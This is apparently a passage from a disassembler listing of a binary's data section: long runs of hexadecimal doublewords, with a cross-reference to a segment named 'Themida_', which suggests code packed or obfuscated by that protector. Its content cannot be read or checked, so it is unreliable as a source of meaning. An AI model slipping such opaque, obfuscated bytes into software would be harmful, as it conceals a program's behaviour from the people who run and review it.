		dd 0F8E173BAh, 729FA7FEh, 57578D7Dh, 20D6A085h,	215DDF6Eh
		dd 174D629h, 6A985E00h,	1402A5Ch, 549521A9h, 8260A134h
		dd 6F5DDFCEh, 8A15D611h, 0AFE9A245h, 75152A54h,	807F2BD7h
		dd 20452652h, 90A928C8h, 5BEA2C7Bh, 9BFB2BF5h, 85318694h
		dd 0AC59622Eh, 0AEA58050h, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh
		dd 0DF152296h, 6CD24ECEh, 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h
		dd 451A245h, 0CF87D5FEh, 23578A45h, 4917868Ch, 50DB2FEFh
		dd 7513056Ch, 28E9C494h, 0BE4CBDh, 0D57A0886h, 7668A358h
		dd 54142924h, 8A1DE89Dh, 2BBD2910h, 175D690h, 0D5DAAA30h
		dd 7650ED58h, 0A851A245h, 18EA80F8h, 0AE79A200h, 58B9E2DFh
		dd 32DC0885h, 8C3A12ACh, 103771BAh, 2173E394h, 83FB63CFh
		dd 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h, 44DAF745h, 0EAE9EED7h
		dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 75BF8654h, 8051E7D7h
		dd 26DDA152h, 25FB6377h, 0A52DD2CEh, 0CE825D43h, 0ECE4AAECh
		dd 29028EEh, 319577Fh, 23305E38h, 48DCD611h, 2304A24Dh
		dd 76D1A9B8h, 0A0242925h, 4D1957DFh, 0A8515E00h, 32732A54h
		dd 3376B77h, 0B2EDB0D9h, 7BAEA46Ah, 4B959232h, 4FD0923h
		dd 866801FEh, 0C9ADDFCCh, 43E96FDFh, 0FD51AA87h, 4E96C6DFh
		dd 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h, 0EC152A54h, 0CEB824FDh
		dd 728FA7FFh, 57578D7Dh, 20A09A87h, 25FB0E03h, 0A52DD2CEh
		dd 0CE825D43h, 0ECD8ACECh, 0A42C89EEh, 0EBE957DDh, 61ADE7CEh
		dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0DA83C0D5h
		dd 0ED96A46Ah, 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h
		dd 8A152A1Eh, 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h
		dd 2C5E1379h, 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h
		dd 8A152A6Bh, 0A851D6ACh, 8660D554h, 2559D7BAh,	0A55EE1CEh
		dd 32DCF143h, 8C3A66F6h, 0EDD871BAh, 8A42C3A8h,	0DDAEA245h
		dd 8260D558h, 0E38A38C8h, 7462C7Bh, 871D00DFh, 3C6D552h
		dd 92B85E00h, 75152A54h, 0DDAEAE30h, 6D8FA75Ch,	0FB578D0Eh
		dd 0C6B7B0D9h, 7BAEA46Ah, 63E96FDDh, 0A851A258h, 75195FABh
		dd 32DCAA30h, 8C3A61A7h, 0ACB2F16h, 75130518h, 54142B96h
		dd 8A152ABDh, 0EDDAC345h, 82D7E3A8h, 3044BA45h,	16EB0000h
		dd 5 dup(0)
		dd 3DC0101h, 62F0000h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 37C35242h, 0BC451003h, 0DD806FD1h, 525090B2h
		dd 0EC4B75BBh, 8A310F74h, 50585AC8h, 0B8C0Fh, 6E90000h
		dd 1C000000h, 3222778Eh, 6A9029h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 556E8FC3h, 0F006A21h
		dd 6ADEBFh, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 18h,	0FFC35040h, 770F51DEh, 52BE858Dh, 6A062Fh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0BD2C88C3h, 0F57B3DFh, 482h,	77BB6600h, 50905ACBh, 9E952h
		dd 0FD5B0000h, 0C621681Dh, 0F7BD6F5h, 5F576031h, 38F1DCB8h
		dd 585A6120h, 0F576050h, 82h, 0D3BB5E00h, 613F493Dh, 6AAAB290h
		dd 0C7816600h, 6AFABFh,	243195FFh, 6A0628h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 1A5F6CC3h
		dd 0BD8B552Dh, 6282681h, 0DA76BA66h, 68A0Fh, 8D030000h
		dd 62806E5h, 592E9h, 8166F500h,	0E87032D1h, 0
		dd 0C3ED815Dh, 6A062F52h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0D4A0C353h,	0E9958954h
		dd 89062821h, 28337D85h, 798D2306h, 6806282Ah, 13D22B26h
		dd 1CBE6051h, 602C2CCBh, 815F6161h, 24862434h, 6A13D2h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 410B59C3h, 0D366D0B4h, 293CF2E1h, 281EC1B5h,	0FF7DB106h
		dd 28046595h, 8D4CB506h, 2F5163B5h, 299D8B06h, 0C706280Eh
		dd 67655206h, 858D896Dh, 0C7062801h, 6E6F0446h,	0E9606C63h
		dd 10h,	0FABD69F5h, 4708809Dh, 1D53E9C1h, 0FD4069EEh, 6810Fh
		dd 0E8810000h, 0E612FBAh, 846C761h, 737361h, 1820Fh, 6AF90000h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 29F8E9A5h, 28015195h, 68C0F06h, 2B000000h
		dd 2825618Dh, 63858D06h, 60062F51h, 128D9529h, 0BD010628h
		dd 6280ED5h, 52505061h,	0A16ABCBAh, 66310F6Ch, 5AF206BBh
		dd 24048958h, 21298589h, 95FF0628h, 628115Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B7C35141h, 8B6F154Fh
		dd 0FC00BCFh, 3384h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 4A92E00Ah, 8950A0B0h
		dd 28181DB5h, 3A3E906h,	0B5290000h, 62823A1h, 0B2388268h
		dd 81DA8BD0h, 0C8AA2404h, 6A2F4Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0FD4A91C3h, 0AC862EF6h
		dd 95FFD08Ah, 6280465h,	409958Bh, 0B58D0628h, 62F5163h
		dd 0C7DEBF0Fh, 34383106h, 14E936h, 16E60000h, 0F1DE1F38h
		dd 4119EE0Dh, 0AE9F31BAh, 0A3DE013Ch, 46C7546Bh, 342D3704h
		dd 57006A31h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0BD03A1BCh, 6281F75h, 2D89958Bh,	46C70628h
		dd 8, 0CB816600h, 6A693Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0F7C35747h, 911ABB68h, 89B0A214h, 28119DBDh
		dd 63858D06h, 6A062F51h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 7E6CC355h, 4457EB9Eh
		dd 22D19D89h, 0BA660628h, 6050D1D1h, 11E8h, 9C286300h
		dd 0BE151CD6h, 50234BFCh, 0A97FF60Ch, 5E92C18h,	0DB000000h
		dd 43C9CCCEh, 5FBB6659h, 48961C7h, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0DCDE7079h
		dd 0DF4ECDD7h, 0FFDE8B66h, 28115D95h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 3D79FC14h, 0C00BA3B5h, 6D840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0D38CD1C3h
		dd 963DB767h, 88A0F0Bh,	0F000000h, 28Dh, 0E9DF8B00h, 1E9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 36C35646h
		dd 2474AD89h, 6318531h,	8C0F0628h, 0Bh,	5890Fh,	81660000h
		dd 0E8CEE3C3h, 4, 12Ch,	6650FE8Bh, 448BD18Bh, 0E6B60424h
		dd 8F0F008Bh, 5, 7B0FEBFh, 24448917h, 0BD8B5804h, 62825B9h
		dd 46595FFh, 6A0628h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0C1C92AC3h, 4622C31Bh, 0F8C8001h
		dd 684h, 858D8900h, 8D062834h, 2F5163B5h, 0BE806h, 0CFE60000h
		dd 0E68ABBF8h, 0DAB4037Bh, 0C759F83Ah, 6C694606h, 55006A65h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 876A9EEFh, 0C72303F8h, 6F6D0446h, 6A636Eh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0F56DEBC3h
		dd 0C7D2BF0Fh, 616C0846h, 6A7373h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 503BC5C3h, 0C7598A54h
		dd 0C46h, 6B50000h, 0F381006Ah,	3A2649C0h, 89CF8B60h, 28053D9Dh
		dd 858D6106h, 62F5163h,	7799D89h, 0B5500628h, 2404894Ah
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4CC35747h
		dd 858501F9h, 0FF062823h, 28115D95h, 43DA8106h,	0B5276EBh
		dd 2D840FC0h, 66000000h, 0E9E76FBAh, 51h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 0C2C35141h, 0D1812D03h
		dd 52797A59h, 0FFFAF2E9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0B5958913h
		dd 89062810h, 282EDDBDh, 0C4B58D06h, 6A062873h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0EC7FC353h, 0D6B64B1Ch, 18F9BD89h, 0B80628h,	8B000000h
		dd 6AE6FFDAh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 5576C357h, 8B7E2339h, 0BBE9C1h
		dd 0BE8F0000h, 79474BC8h, 2EFAFE7Bh, 0D9ABAF2Ch, 956266E3h
		dd 4B171A97h, 32AFAD7Ah, 0E8655F2Eh, 9A1719E4h,	4FCCC696h
		dd 0E5339929h, 8F795CCBh, 0B21272BCh, 5CCB8C4Ch, 74E6A879h
		dd 795CCBA4h, 3F7A0ED0h, 0B6B080A6h, 0A977A991h, 0A9E86ABh
		dd 476C6234h, 5F552765h, 93659EE2h, 93457F73h, 0EB7F351Ch
		dd 7F772169h, 0B1422DD1h, 15D27Fh, 0DE040000h, 70A80E0Eh
		dd 47FB506h, 0DBAADC42h, 40D4BCE1h, 0E03A8705h,	40F4190Fh
		dd 9D517670h, 0F7ABD0D2h, 55092E28h, 0B1658A88h, 0DC1E6E4h
		dd 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h, 2F585168h, 26D7E906h
		dd 0CFF4FFF9h, 7E891926h, 14E891h, 18030000h, 0B29F6536h
		dd 0B9EF9932h, 6E4B9916h, 0A56B399h, 0BD8B9CE4h, 62831DDh
		dd 0EE95Ah, 47580000h, 0BCB3BF91h, 8555EA87h, 4849D208h
		dd 6B6FC281h, 0FE90000h, 7E000000h, 4029768Ch, 37C50BBDh
		dd 0E48BD7BAh, 0C93304FFh, 8BF88B66h, 0C18B0A34h, 61C0EE81h
		dd 11E941C7h, 6A000000h, 7913F1Dh, 267BDBBBh, 62973AFDh
		dd 238C3B9h, 7D04EE81h,	9D330A63h, 6282E5Dh, 0C005F681h
		dd 9D8B09A8h, 6280F81h,	800A3489h, 8509FCE8h, 6282E41h
		dd 41E8E981h, 0B5091F80h, 62805C5h, 41E4C181h, 850B1F80h
		dd 628095Dh, 9548F981h,	850FFFFFh, 0FFFFFF97h, 9C55B5BBh
		dd 3BE93Ah, 8B600000h, 2824E1BDh, 4EF8306h, 0C18BC933h
		dd 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h
		dd 0FFFFFFF1h, 81078941h, 100F9h, 0D3820F00h, 61FFFFFFh
		dd 8DC88BC3h, 280EE19Dh, 13A8B806h, 85890000h, 6282459h
		dd 0E8h, 0D055800h, 89000000h, 13A8E903h, 2A3h dup(0)
dword_5BF800	dd 209h	dup(0)		; DATA XREF: Themida_:005542B0o
dword_5C0024	dd 0Eh dup(0)		; DATA XREF: ___:004327FCo
dword_5C005C	dd 30h dup(0)		; DATA XREF: ___:off_432950o
		dd 8D8D0000h, 62F6EA4h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 98C35747h, 8D892AA5h,	6280715h, 85C7F88Bh
		dd 62821BDh, 6114h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 87C35040h, 0CDF93DC0h, 0FD08B66h, 0A87h
		dd 5E900h, 0E60C0000h, 66423245h, 0C797E7BFh, 28113D85h
		dd 6, 5BD28000h, 2955B5FFh, 0EF810628h,	53BD6C6Bh, 14D995FFh
		dd 6A0628h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0BA3E98C3h, 30C7B338h, 0E960A8B5h, 0Eh, 785D0A19h
		dd 0D7764267h, 0B4792F7h, 6A5627h, 46595FFh, 0C08B0628h
		dd 0A8833DEBh, 6EBD750Eh, 3682561Bh, 0DEBC1CEFh, 0B3E37FF0h
		dd 7737F00h, 0BFC778BDh, 914758A9h, 87BCB3BFh, 88555EAh
		dd 614849D2h, 26A7348Fh, 55DBFD61h, 0FCF0450Ch,	0E4F4DCB5h
		dd 0E84914D6h, 0Ch, 0E5A860A9h,	7E04E382h, 0EBE97E6h, 2B718589h
		dd 515E0628h, 34E59D8Bh, 815A0628h, 7537C6h, 8BB6600h
		dd 2210B8A0h, 0F0812C3Eh, 2C3E3F30h, 14E9h, 0E2FF9200h
		dd 191C3AE0h, 0AF164777h, 0BFF89367h, 6ABEDBD0h, 0E936FFA7h
		dd 6, 0F06C85B1h, 8B5FFBBDh, 2809298Dh,	1EF8106h, 8B6B39C4h
		dd 2812798Dh, 0D6C78106h, 0F6AD54Ah, 0F781CEBFh, 4CD54AFh
		dd 332D8D8Bh, 3570628h,	282E3D9Dh, 89068F06h, 2829418Dh
		dd 3EE8306h, 48F0Fh, 8B600000h,	0E94E61D3h, 12h, 10EFBA9Fh
		dd 132D0011h, 2CA3EA8h,	7CD6BC54h, 0F48FB70h, 0FFFF9085h
		dd 0E9D88BFFh, 0Bh, 54E42584h, 0
		dd 0E9000000h, 0D5Eh, 2F71E068h, 1017E906h, 0C068FFF9h
		dd 0E9062F72h, 0FFF9100Dh, 2F73A768h, 1003E906h, 4F68FFF9h
		dd 0E9062F74h, 0FFF90FF9h, 2F777968h, 0FEFE906h, 7668FFF9h
		dd 0E9062F7Ah, 0FFF90FE5h, 2F7B7868h, 0FDBE906h, 0EDFFFF9h
		dd 0C9979B18h, 7E4A4ECBh, 29FBFF7Ch, 0E5B2B633h, 3B676AE7h
		dd 82FFFDCAh, 38B5AF7Eh, 0EA676934h, 9F1C16E6h,	5583E979h
		dd 0DF795CE3h, 0D09CC20Ch, 2DC1A9CEh, 0E046A6F2h, 7F739338h
		dd 0D1F6F4C2h, 0DB6F31E9h, 153A3805h, 17949661h, 0C3295427h
		dd 7F739315h, 8BF75D1Fh, 5BAD6E25h, 21460875h, 5BB4EB2Dh
		dd 0D58ED479h, 59522158h, 3A95C1h, 8DED0000h, 5BBCF127h
		dd 25F58379h, 0B81E062Bh, 21F4E924h, 934098FEh,	66F47F73h
		dd 0D1379D97h, 0A02CFF65h, 8C4E755Bh, 0A7A17367h, 0D41A795Bh
		dd 63DB9E1Bh, 7DBC159h,	8000000h, 887DDh, 10E0E400h, 577C7E4Ah
		dd 0F6E4096Fh, 93E83096h, 9147F73h, 0E4F49D13h,	3A08964Eh
		dd 6C42D63Ch, 16A9D89Ch, 59898353h, 43A93651h, 926288C6h
		dd 8BC55FCEh, 3EA455CAh, 0DB9D3119h, 197FEB08h,	755B850Eh
		dd 5B496E30h, 26969437h, 4F375C56h, 0CA02CC1Fh,	37CBCD98h
		dd 5BE2FF21h, 3C3A0779h, 98966317h, 68219973h, 0C1E73DAEh
		dd 0E7CFF4F6h, 1D9A5353h, 0C1599C5Ch, 4C5Ah, 0C08CB200h
		dd 0F4EF2ABEh, 6C6A3821h, 0DA3A9A06h, 7393A474h, 7A0ED07Fh
		dd 5BBEF564h, 6573FF75h, 1819FF4Bh, 7E7297FDh, 795BF75Ah
		dd 6626DF25h, 53786E40h, 6F0AD76Bh, 23C15993h, 10352BFDh
		dd 2C26F628h, 9F8B1F07h, 0B5h, 1610E0CCh, 0A6703DF1h, 0CEB6DBD9h
		dd 0BF8F4368h, 1CECA0C5h, 9F61A522h, 677F738Eh,	1C209D97h
		dd 8D2D524Ch, 0C72D99BAh, 755B9564h, 3C3A0896h,	99936317h
		dd 6050CD33h, 0D6FC688Dh, 0FBE3080Ah, 91F15767h, 0F3737529h
		dd 0D29FC531h, 3FB068CEh, 2C47321h, 4E1B1F9Ch, 4E00E250h
		dd 0D1ACB400h, 0A6A1Ah,	392F0000h, 0ECEAB8BCh, 9D9F6B6Fh
		dd 544A1C20h, 806D3D7h,	0EBDA888Bh, 9FA3201Eh, 5559D6D0h
		dd 70B888Ah, 9AC03D37h,	0E274A40Ah, 2D00795Ch, 4913E0B8h
		dd 745C8177h, 1C42A20Eh, 3AE2544Ah, 3E7F7393h, 0C0E5E3B0h
		dd 0BDDE72D8h, 72EFE9B9h, 421F409h, 0BEAB3298h,	0BCD755Bh
		dd 862EF2E6h, 5399795Bh, 0DCB6DA9Ah, 0F8390E66h, 9FDAA73Bh
		dd 17C159ABh, 0AEh, 1610E044h, 72703DF1h, 6B395F4Dh, 0CC60486Dh
		dd 738E42B6h, 0F2ECBC7Fh, 0A7A17175h, 1C0FE282h, 0BC78FAFh
		dd 0B9258B7Ah, 5B83F053h, 0E3602275h, 970320F3h, 75272231h
		dd 567C4473h, 7F678C86h, 212ACF0Dh, 41A76973h, 0E4E2AFD5h
		dd 8A805278h, 4D1D5F6h,	2A429A00h, 34F67321h, 5B9460CEh
		dd 4520B400h, 98A8Eh, 594F2000h, 0C0AD8DCh, 0BDBF8B8Fh
		dd 746A3C40h, 2826F3F7h, 0BFAA8ABh, 0BFC3403Eh,	7579F6F0h
		dd 272BA8AAh, 0BAE05D57h, 0E114C42Ah, 4D20795Ch, 0B380A6D8h
		dd 7E4B21B5h, 9FC50380h, 0C4ACD1D3h, 908A5A30h,	10E0AA13h
		dd 0A303F116h, 73939F3Dh, 53511F7Fh, 0CC8E462Eh, 98926238h
		dd 365E1C1Bh, 0A8AA7663h, 9306D63Ch, 70327F73h,	1389E0Ah
		dd 73755B86h, 0E2FF25B1h, 1A1090AFh, 52B21E47h,	9EAD2CECh
		dd 568648D0h, 0B1843E2h, 0C9D96DC1h, 7A744369h,	0C3D96D55h
		dd 0DAB6631Ch, 412F5416h, 0BA4E501Bh, 940025F8h, 0AE6ED434h
		dd 0CAC96663h, 25E7408h, 0B2C34B94h, 56BCBC8Ch,	0C332CC86h
		dd 0F68AF0B2h, 466CD89Ah, 0D9E97D77h, 7DE9E3B3h, 67FFD959h
		dd 0B044D3E2h, 0C1BB8B8Fh, 13456353h, 772E0904h, 8A3h
		dd 0F5726839h, 0A82523F1h, 59D6D8A4h, 108D8355h, 0C4413F0Ch
		dd 572495C1h, 9D8DC59h,	0C38E920Fh, 704044C1h, 43D3F976h
		dd 5CE03FDDh, 0F1663979h, 649982A6h, 540956A9h,	541AEAC0h
		dd 7A628789h, 0EA70A80Eh, 42047F73h, 4417B7DCh,	0BB8DB31Fh
		dd 0BB2131C5h, 755BC828h, 0F61C884Ah, 0A8AC292Bh, 946211DDh
		dd 1A3F410Ch, 0C6460232h, 27825AC0h, 0F4B6795Bh, 0F03288Eh
		dd 795B27C9h, 0C8C291B7h, 1127BBA3h, 795B37CFh,	0AF1B380Bh
		dd 7363AA49h, 9E0ACC73h, 17ABAD78h, 0D0CA9A4Eh,	2126262h
		dd 7C330EB4h, 7FBh, 4DCAC091h, 7D7B49h,	0B12E30FCh, 68E5DBADh
		dd 1C999764h, 0AF7C4D19h, 613034B1h, 1BE6EA67h,	0C8989C19h
		dd 9B2B51CEh, 5CE7E735h, 49BE9179h, 980421F4h, 7F56F74h
		dd 0CB5F1D07h, 95FB5BBBh, 7F73FD47h, 859B2FF1h,	755BC96Eh
		dd 6D214608h, 2024A19Fh, 8F2F5452h, 1C6AD1B8h, 0CEF27676h
		dd 9E96FC68h, 0BA795BE3h, 0E34C8CF2h, 0A36E795Bh, 0DC947CA1h
		dd 0C38FB41Ah, 22F0762Fh, 63C7CF5Ah, 0AE14BCBAh, 5C7CE242h
		dd 0D8795B3Bh, 1D618216h, 795B3BFBh, 0B7234017h, 5B3B6751h
		dd 4AC78979h, 557A7846h, 5B3AA761h, 33933779h, 5B3A0FCDh
		dd 0D3672979h, 0C6941AD3h, 79474BC8h, 0E62567Bh, 0F8795B3Ah
		dd 51052A2Ch, 7C64897Fh, 587D7F4Ah, 934D067Eh, 76FCB549h
		dd 3D2DAAA8h, 73D94566h, 795B3AA0h, 7EA410D2h, 1C12E4B2h
		dd 15A90FF7h, 0C62D584Ch, 5096ED3Ch, 395F1A97h,	0AA5735BBh
		dd 84000001h, 980421F4h, 5B82C332h, 0A4CDF175h,	1927344Fh
		dd 0FDEBCFBFh, 0C228052Ah, 0A410D22Eh, 48B4AE7Eh, 31565422h
		dd 0CA201949h, 57EC6150h, 0CE9EA2C3h, 0BBBBAFD4h, 19F211B6h
		dd 0A6BA6D91h, 0E6840E6Eh, 58ECE2B4h, 49199F58h, 0FECED24Fh
		dd 0CDF1DF04h, 40B5D623h, 0EB02788Bh, 0CEC4F23Ch, 3B12D468h
		dd 0C7999D1Ah, 28F8ACD1h, 0DDADB12Eh, 24CABEE3h, 0B8649178h
		dd 67C78740h, 89C8DB01h, 79B5D80h, 0EA676131h, 0F71C16E6h
		dd 1816E309h, 0CAEBC284h, 0C820F85Eh, 40A08089h, 89C802DAh
		dd 5A35BE80h, 1C6FC6C5h, 0D036A264h, 80896608h,	7AD66A2Ch
		dd 6A373BB8h, 0B1D6D0A0h, 21F75DC9h, 53808966h,	66062B91h
		dd 9C026E8Fh, 80896670h, 0B1B532F4h, 557BE7E1h,	2AF38789h
		dd 86ABA976h, 0E76D26BAh, 897F5117h, 7F4A7C64h,	0A70587Dh
		dd 0ACAA789Eh, 23F3F718h, 8D640429h, 66D4046Ah,	9E608089h
		dd 0BE66CC38h, 6808966h, 0AC120EE0h, 8089666Ch,	0B0E04608h
		dd 0BE0DECEh, 1D790D9Fh, 7AA0DE5Bh, 471DB1ABh, 0A4587D77h
		dd 0CEB2D7D9h, 2C0365Ah, 0DCAE60FAh, 98F4848h, 0BEC23F39h
		dd 9BEA2AEEh, 82D27F6h,	0A289F020h, 0E6D4F95Fh,	5EF2F4C0h
		dd 3CA8C59Ch, 8961F2D6h, 0F8642680h, 61EA3298h,	0CC8E8089h
		dd 48131738h, 6169D57Ch, 9905AC05h, 8973E533h, 67CD8F80h
		dd 0AACBA242h, 474B183Eh, 89733BE1h, 157B3D80h,	3D0B7181h
		dd 0A3808973h, 0F33E597Fh, 0FA3CD4Bh, 595725B3h, 38E04634h
		dd 3C80892Bh, 31AE147Ah, 1610E0C8h, 0ADD6A999h,	0B954DB41h
		dd 7ADA755Bh, 5B8AC414h, 1AAE7079h, 6A90FCBEh, 1C209D9Fh
		dd 8A2A4F51h, 0FE228EB7h, 25697BD1h, 617105B6h,	7307E8FBh
		dd 0A3C88A73h, 235B6DAFh, 0E3D6A973h, 478397D1h, 0F561C704h
		dd 0A59F6F95h, 0ED05D339h, 6D2F7323h, 0D92CC3D9h, 6C92790Bh
		dd 0B00CA09Eh, 395A82E8h, 95646D0Bh, 0D68E769Bh, 0D589AE14h
		dd 0BD9D0B05h, 3FAA2A48h, 4D1AD64h, 96670000h, 511F23A0h
		dd 6D2D653h, 0B1838704h, 6D3A3EBBh, 0A3EFF26Fh,	0A878552h
		dd 0C03D3706h, 72EFF1BCh, 27A49E6Eh, 0CD0B7101h, 67795CE4h
		dd 82A61F94h, 1403BE4Fh, 0B4760A6Fh
		dd 0F858C4E1h, 9AC88CD4h, 7206B086h, 5B7B4D5Ch,	79E5A775h
		dd 33600355h, 58406567h, 9708F28h, 61E1379Dh, 0D193795Bh
		dd 5D80743Dh, 26795B61h, 0CFAA27E0h, 0E7C15A1Dh, 7Eh, 93ACA014h
		dd 0D2227F73h, 2DAAA474h, 0DF4B683Dh, 7393AB79h, 0E60BCD7Fh
		dd 0EB686232h, 9D0926FBh, 7393E937h, 0A4C98B7Fh, 90F656B6h
		dd 7F739348h, 60B82AECh, 147F7393h, 18E8BE52h, 0DCB1A11Eh
		dd 89541EEBh, 4FBB2187h, 7393D7E9h, 4267297Fh, 73538A4Eh
		dd 0CF881C7Fh, 0FF6B885Dh, 0D3E3399Fh, 0D3957F73h, 0F7C92F3Fh
		dd 97F73D3h, 157BDB47h,	7F73D3C7h, 0FA1BAF71h, 0CFF3h
		dd 21F4FA00h, 0D3329804h, 0B5755BA7h, 4B1ACEF3h, 0EE4D451h
		dd 0C52585F1h, 5BBFB95Fh, 65F9BB79h, 5BBF854Fh,	79DFA779h
		dd 795BBFA3h, 88AD13D5h, 5BBF5F94h, 3DF63C79h, 5957B9C0h
		dd 1379D9C1h, 795BA7C5h, 1513E16Fh, 812F1BAFh, 5C000000h
		dd 95011EF4h, 7393E92Fh, 0B7FF8B7Fh, 0F6F8C399h, 10B9E9D1h
		dd 0DF046A97h, 0E5625C2Bh, 98041FF5h, 737F5E32h, 1480427Fh
		dd 875721EEh, 4E02278Dh, 881C8280h, 0DBABD1BFh,	0C90F75E1h
		dd 6B7F737Eh, 0DDFF15A9h, 0CD7F73BEh, 0B563C929h, 0B7F72BEh
		dd 72BE77A5h, 873F017Fh, 0C92F29F9h, 0A7C3535h,	3DA30F34h
		dd 7F72BE2Bh, 0F7EDBF4Dh, 187EEAD2h, 7F72BDC0h,	0E04CB274h
		dd 0C7ECEEBAh, 0C12A4BDFh, 961782A6h, 36DB382Bh, 36FCCCA2h
		dd 60486D67h, 905F5E30h, 0F55B5FDDh, 0ECBEE2D0h, 524C1C4Eh
		dd 7015452Dh, 683ED21Dh, 31219E98h, 63C9355Eh, 755BE778h
		dd 0A593B87Ah, 4BB1AD7Fh, 795BE58Dh, 0EB7FE5A7h, 5BE503D5h
		dd 0EFEDBB79h, 494B16CAh, 0A2A47024h, 6A24DD3Fh, 7DFAB3F9h
		dd 0C159A0FCh, 2FBAh, 21F4E700h, 456A6C38h, 2B8BF75Dh
		dd 739317C5h, 0CB5F217Fh, 0BEC655BBh, 2EF0755Bh, 86C31509h
		dd 76BC795Bh, 443940BDh, 0F17DC159h, 0AA000000h, 0F11610E0h
		dd 4D72703Dh, 0AACFC999h, 0C02C26F6h, 6E6C3A60h, 29EF6149h
		dd 4B7F7393h, 98175989h, 0CED8CC29h, 23D5193Ah,	0DB7F7325h
		dd 3734470Bh, 0BE735AE8h, 58BEC08Ch, 4107D7DBh,	6B537872h
		dd 6C4399FFh, 33F57F73h, 94BAA8CDh, 7133C7C9h, 0E509759Eh
		dd 0A64D88BBh, 5868FC84h, 5B539BF2h, 54234975h,	0B94D355Ah
		dd 92F9B5Dh, 2F173C3Eh,	163C7A9Bh, 0F5B74B49h, 71950122h
		dd 5FC1C4AFh, 97A73BCCh, 74E5AA31h, 9E04CC73h, 7327FD7Eh
		dd 66D238FAh, 0F8757340h, 0BB2927F4h, 0B4068CA9h, 0D4C17853h
		dd 6A000001h, 2226A399h, 0D5D95654h, 868A0709h,	3D41BEB4h
		dd 0F2F57270h, 8A8855A4h, 403A090Dh, 0F2F4BFC3h, 0A7A17175h
		dd 0E74042Ah, 795CE9CEh, 0E022976Ah, 5A981513h,	41666834h
		dd 1FEFC559h, 0FB95B925h, 0CDA5AD4Bh, 0DF4869FDh, 834482A6h
		dd 0FF2F31FCh, 8317E33Fh, 59C5EEC1h, 5B3164F3h,	0DFB6DA75h
		dd 0A12E0BDBh, 0D949FB66h, 444366A9h, 0FAC654B0h, 7F6D92F8h
		dd 0DF65255Bh, 871B0EBBh, 5BCDAF71h, 19D21879h,	598DDD9Ch
		dd 0ACD9C1h, 0E0060000h, 3F11610h, 7E1210DDh, 71DDDBA8h
		dd 0E9B7794Bh, 786085EBh, 0CD2D1BE4h, 7393B167h, 7C7E497Fh
		dd 0F5B76F57h, 8EA94B61h, 81517F73h, 36060A87h,	0A477173Ch
		dd 0DEAD137Fh, 0B8755BA0h, 0B68979F6h, 30FB218Dh, 8D21092Eh
		dd 263177Dh, 4F117375h,	0BD2383E3h, 7321451Fh, 0C3B98B19h
		dd 26F3C95Dh, 0DAA7AB28h, 34706EDCh, 21FCB400h,	0D26Ah
		dd 0A1976800h, 54522024h, 507D3D7h, 0BCB28488h,	706E3B3Fh
		dd 53A2F0F3h, 70B8886h,	0BDC13E38h, 6F73F0F2h, 228A59Fh
		dd 0E8CC0C72h, 9568795Ch, 1513E020h, 0CAC49498h, 80A6E44Dh
		dd 0AA92B7B1h, 76704016h, 0D3CD9D51h, 0A8936656h, 8627C477h
		dd 0E7AE07Eh, 228F1FA8h, 0E349A975h, 7943C835h,	8DE97D3Fh
		dd 43630FFh, 2C143937h,	53B3A1C6h, 43C82FEDh, 0F3874979h
